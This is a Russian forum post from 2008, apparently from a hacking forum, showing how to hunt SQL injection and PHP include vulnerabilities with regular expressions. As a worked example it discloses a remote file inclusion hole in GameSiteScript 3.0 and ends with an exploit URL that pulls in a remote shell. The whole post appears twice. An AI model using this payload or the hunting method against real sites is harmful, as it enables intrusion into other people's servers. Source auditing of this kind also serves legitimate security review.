Macro
09.02.2008, 22:51
Поиск уязвимостей с помощью регулярных выражений.
Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
Итак, начнем.
1. Чем искать
Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench
http://blacktoad.info/ok/textworkbench_1.jpg
Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.
Скачать: http://silveragesoftware.com/ftp/HFFRTextWorkbenchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...
Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench (http://blacktoad.info/ok/TextWorkbench.rar)
2. Как искать
Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :
SQL injection
Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*
PHP include
Тут все гораздо проще :)
Вероятно, что бага есть (GPC переменная входит в инклуд) :
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
Менее вероятно, что бага есть (когда в инклуд входит переменная) :
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$[^;]+;
3. Пример
В качестве скрипта для примера возьму GameSiteScript 3.0
Скачать и посмотреть описание можно тут (http://scripter.biz/2007/09/23/gamesitescript_v30_wst_group.html)
Вводим поиск на маловероятный php include :)
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$[^;]+;
И смотрим результаты...
Вот один из них
http://blacktoad.info/ok/primer.jpg
Смотрим код файла
\plugins\site\themes\21\smallbox.php
<?php
$menunames = explode("|", $themecfg['boxcontentorder']);
echo "<tr>";
$i = 0;
foreach ($menunames as $menuname) {
if ($i%2==0 && $i!=0) {
echo "</tr><tr>";
}
include $menuname."box.php";
$i++;
}
echo "</tr>";
?>
Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.
Итог: найдена новая RFI уязвимость
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?
PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.
Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
Итак, начнем.
1. Чем искать
Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench
http://blacktoad.info/ok/textworkbench_1.jpg
Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.
Скачать: http://silveragesoftware.com/ftp/HFFRTextWorkbenchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...
Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench (http://blacktoad.info/ok/TextWorkbench.rar)
2. Как искать
Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :
SQL injection
Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*
PHP include
Тут все гораздо проще :)
Вероятно, что бага есть (GPC переменная входит в инклуд) :
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
Менее вероятно, что бага есть (когда в инклуд входит переменная) :
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$[^;]+;
3. Пример
В качестве скрипта для примера возьму GameSiteScript 3.0
Скачать и посмотреть описание можно тут (http://scripter.biz/2007/09/23/gamesitescript_v30_wst_group.html)
Вводим поиск на маловероятный php include :)
{include}|{require}|{include_once}|{require_once}\ s*\(?[^\$;]*\$[^;]+;
И смотрим результаты...
Вот один из них
http://blacktoad.info/ok/primer.jpg
Смотрим код файла
\plugins\site\themes\21\smallbox.php
<?php
$menunames = explode("|", $themecfg['boxcontentorder']);
echo "<tr>";
$i = 0;
foreach ($menunames as $menuname) {
if ($i%2==0 && $i!=0) {
echo "</tr><tr>";
}
include $menuname."box.php";
$i++;
}
echo "</tr>";
?>
Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.
Итог: найдена новая RFI уязвимость
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?
PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.